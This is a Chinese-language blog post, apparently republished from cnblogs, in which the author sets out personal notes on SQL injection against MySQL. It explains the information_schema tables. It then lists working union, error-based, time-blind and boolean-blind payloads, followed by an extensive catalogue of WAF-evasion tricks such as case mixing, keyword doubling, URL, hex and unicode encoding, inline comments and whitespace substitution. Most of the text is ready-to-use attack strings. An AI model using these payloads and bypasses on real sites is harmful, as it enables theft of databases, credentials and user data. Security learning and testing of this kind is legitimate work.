SQL注入个人理解及思路(包括payload和绕过的一些方式)

首先本文主要是把我对SQL注入的一些坑和最早学习SQL注入的时候的一些不理解的地方做一个梳理。

(本文仅为个人的一点皮毛理解,如有错误还望指出,转载请说明出处,大佬勿喷=。=)

什么是SQL注入呢?

SQL注入网上的讲解很多,我认为的SQL注入其实就是可以人为的控制代码与数据库进行交互的地方,对参数进行修改并执行恶意代码来达到控制数据库的目的。

SQL注入会在什么地方出现呢?

在所有的代码与数据库进行交互的地方都有可能出现SQL注入,如(登录,注册,查询,读取新闻页面,等等等等)

sql注入不一定都在 ?id=1 这种参数后面出现,有时候也会在类似于读取新闻页面出现sql注入如: http://127.0.0.1/index/goods/goods/pid/29/token/123123123123.html   这种读取数据库信息的时候在  29  那里也会出现sql注入。所以有时候在测sql注入的时候尽量不要盲目的只是在?参数后面测试。

SQL注入有什么用呢?

获取后台账号密码,获取用户信息,获取mysql账号密码(有时候可能没有),读写文件(读写函数开启的情况)

如何判断是否存在SQL注入?

一般我都会在参数后面加如下字符: '  "  \  /  (  ) ;   如果出现报错的话根据报错信息来判断此处是否存在SQL注入

如果没有报错可以使用盲注来进行判断,但是一般都有限制进行一些语句绕过就好了如: 1 select sleep(10) --+  页面延迟10秒左右的话就存在

判断需不需要加单引号或者双引号可以使用:?id=3-2   如果返回页面跟输入1是一样的则不需要加引号。不一样则需要

SQL注入构造payload(以mysql为例)

在MySQL的5.0版本以上系统会有一个information_schema库,在这个库里面存了所有的   库、表、字段 的信息

所以在数据库是MySQL的时候注入的payload都会用到这个数据库,下面是数据库储存信息的表。

(我在最早学SQL注入的时候就是没有深入的了解这个库,所以payload总是构造不好,建议把这个库需要用到的表了解深刻。)

information_schema数据库表说明:
SCHEMATA表:提供了当前mysql实例中所有数据库的信息。是show databases的结果取之此表。
schema_name 字段存储了所有的数据库信息 无重复

TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
table_schema 字段存储了所有数据库信息,但有重复,需要去重
table_name 字段存储了数据库当中的表信息 无重复

COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
table_schema 字段存储了所有数据库信息,但有重复,需要去重
table_name 字段存储了数据库当中的表信息 有重复 需要去重
column_name 存储了表当中的字段信息 无重复

STATISTICS表:提供了关于表索引的信息。是show index from schemaname.tablename的结果取之此表。

注入需要用到的一些函数:

grout_concat 分组并拼接 distinct 去重
limit 0,1 从0行开始显示第一行 0x7e是~
group_concat 显示全部 concat显示选定行

注入payload(盲注和报错本人只会一个函数,其他没做研究甚是羞愧=。=),如有限制根据情况进行绕过。

查看所有库:select schema_name from information_schema.schemata
查看所有库第一行:select concat(schema_name) from information_schema.schemata limit 0,1
查看当前库的表:select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1
(注:table_schema=16进制编码后的库)
查看表的字段:select concat(column_name) from information_schema.columns where table_name=0x7265666572657273 limit 2,1
(注:table_schema=16进制编码后的库 table_name=16进制编码后的表)
查看数据:select concat(id) from emails limit 1,1

联合查询

1' union select 1,2,3,database(),5,6

报错注入:
1‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)

报错注入:
1' union select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.columns group by x#

时间盲注
and If(ascii(substr(database(),1,1))>115,1,sleep(5))
and sleep (5) #

布尔盲注
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100--+

过WAF的基本方式:

1、大小写 select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
针对:/正则表达式/ i 不区分大小写的规则

2、替关键字(关键字重复写) select * from users where ID=1 ununionion selselectect 1,2,3,4%23
针对检测到某个关键词 替换为空的情况

3、编码 select * from users where id=2%2bunion%2bselect%2b1,2,3,4--+
union ---> 0x756e696f6e20
select * from users where ID=1 %75nion select 1,2,3,4%23
编码方式:URL编码 (空格为%20 单引号%27 左括号%28 右括号%29,针对特殊情况可以两次URL编码)
十六进制编码(针对某些数据,如特殊字符、特殊字符串等)
unicode:Unicode编码 使用两个字节编码一个字符,高位不足使用0填充
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

4、内联注释 /* */ union/**/select/**/1,2,3%23 、 //.--+,/**/,--,-- -,#,;--b
select * from dvwa.user where user_id id='1' and 1=1;--+';

5、等价函数替换 verion() @@version
mid substr substring
@@datadir datadir()
hex() bin() ascii()
sleep() benchmark()
等价符号:and &&; or || ; = >< re>100 re<102 re=101

6、特殊符号 + # %23 --+ \\\\
select`version()`
select+id-1+1.from users; "+"用于字符串连接 -和. 用于连接,可以用于逃过空格和关键词的过滤
@符号:用户自定义变量 select @……1.from users;
@@符号:系统变量
后续加 ~ ! % () [] + | %00 等等

7、内联注释加! select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+

8、缓冲区溢出
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
例子上的 0xA*1000 指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短

9、mysql 特性绕过
= 等于
:= 赋值
@ @+变量名可直接调用 select @test:=user();
注释符号 /**/ --(空格) #
/!**/ /*!50000select*/
select * from news where tid=1 union /*!50000select*/ 1,2,3;
/*!union*/
(/*!%53ELECT*/+/*!50000GROUP_CONCAT(table_name%20SEPARATOR%200x3c62723e)*//**//*!%46ROM*//**//*!INFORMATION_SCHEMA.TABLES*//**//*!%57HERE*//**//*!TABLE_SCHEMA*//**/LIKE/**/DATABASE())

10、换行 123%0A123

11、隐私类型转换
select 'a'=0;
select '1admin'=1;
综合探索
内联注释
黑魔法:select{x user}from{x mysql.user};
换行符绕过:%23%0a %2d%2d%0a

绕过方式部分拆解

select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin

[1] 第一部分:
(1)/**/ /*!50000union*/
(2)空白字符 %09
%0a %0b %0c %0d %20
id=1%0bunion select 1,user() from admin
(3)浮点数形式 1.2 4.2
id=1.0union select 1,user() from admin
(4)1E0 1x一亿的0次方
id=1e0nuion select 1,user() from admin
(5)\
id=\Nunion select 1,user() from admin

[2] 第二部分:
(1)空白字符 %09 %0a %0b %0c %0d %20
(2)注释符 /**/ /*123213*/
(3)括号 id=1 union(select 'test','1',(select user() from admin limit 0,1))

[3] 第三部分:
(1)空白字符
(2)注释符号
(3)其他字符:
! %21
+ %2b
- %2d
@ %40
~ %7e
select * from admin where id=1 union select~1,user(),version()
(4)其他方式:
括号 select * from admin where id=1 union select(1),user(),version()
内联 select * from admin where id=1 union /*!50000select*/1,user(),version()
{} select * from admin where id=1 union select{x 1} user(),version()
" " select * from admin where id=1 union select"1" user(),version()
\N select * from admin where id=1 union select\N ,user(),version()

[4] 第四部分:
(1)空白字符
(2)注释符
(3)其他符号
` %60 select * from admin where id=1 union select 1,2`from admin`;(注意闭合)
内敛注释符号
加括号
加字母 select * from admin where id=1 union select 1,2"A"from admin;(???)
(4)浮点数、1E0 、\N

[5] 第五部分:
(1)空白
(2)注释符号
(3)其他符号
破则号-: select * from admin where id=1 union select 1,2 from-admin;(中文的)
联注释符号
{} select * from admin where id=1 union select 1,2 from{x admin};
() select * from admin where id=1 union select 1,2 from(admin);

以上为本人对SQL注入的一些理解,仅供用于学习和交流,转载请说明出处谢谢。

猜你喜欢

转载自www.cnblogs.com/liujizhou/p/12374694.html